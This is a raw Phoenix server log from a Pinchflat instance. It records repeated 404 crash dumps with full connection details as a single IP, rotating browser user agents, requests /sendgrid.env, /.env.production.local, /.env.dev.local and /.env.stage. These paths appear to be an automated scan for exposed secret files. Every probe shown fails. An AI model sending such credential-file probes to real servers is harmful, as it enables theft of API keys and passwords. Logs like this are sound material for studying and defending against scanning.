[debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.285 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.285 [debug] QUERY OK source="settings" db=0.1ms idle=19.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.285 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.285 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.285 [error] #PID<0.139011.0> running PinchflatWeb.Endpoint (connection #PID<0.138955.0>, stream id 13) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sendgrid.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sendgrid (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sendgrid.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 13, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139011.0>, params: %{}, path_info: ["sendgrid"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "max-age=0"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/sendgrid.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxQDojXJYjNoAAHqj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sendgrid.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 13, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sendgrid (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sendgrid.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", (truncated) 04:52:50.286 [error] #PID<0.139013.0> running PinchflatWeb.Endpoint (connection #PID<0.139005.0>, stream id 2) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env.production.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139013.0>, params: %{}, path_info: [".env.production"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.production.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxQD3Zr48KGkADZth"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/1 (truncated) 04:52:50.285 [error] #PID<0.139012.0> running PinchflatWeb.Endpoint (connection #PID<0.138998.0>, stream id 2) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env.dev.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138998.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev.local", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139012.0>, params: %{}, path_info: [".env.dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.dev.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxQDqXY1wJDcADZtB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138998.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev.local", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138998.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev.local", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", (truncated) 04:52:50.448 [info] GET /.env.stage 04:52:50.449 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=164.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.450 [debug] QUERY OK source="settings" db=0.3ms idle=165.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.450 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.451 [error] #PID<0.139014.0> running PinchflatWeb.Endpoint (connection #PID<0.139005.0>, stream id 3) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env.stage ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.stage", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139014.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.stage", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxQq6RObzdwQAAHrD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.stage", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.stage", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139014.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ 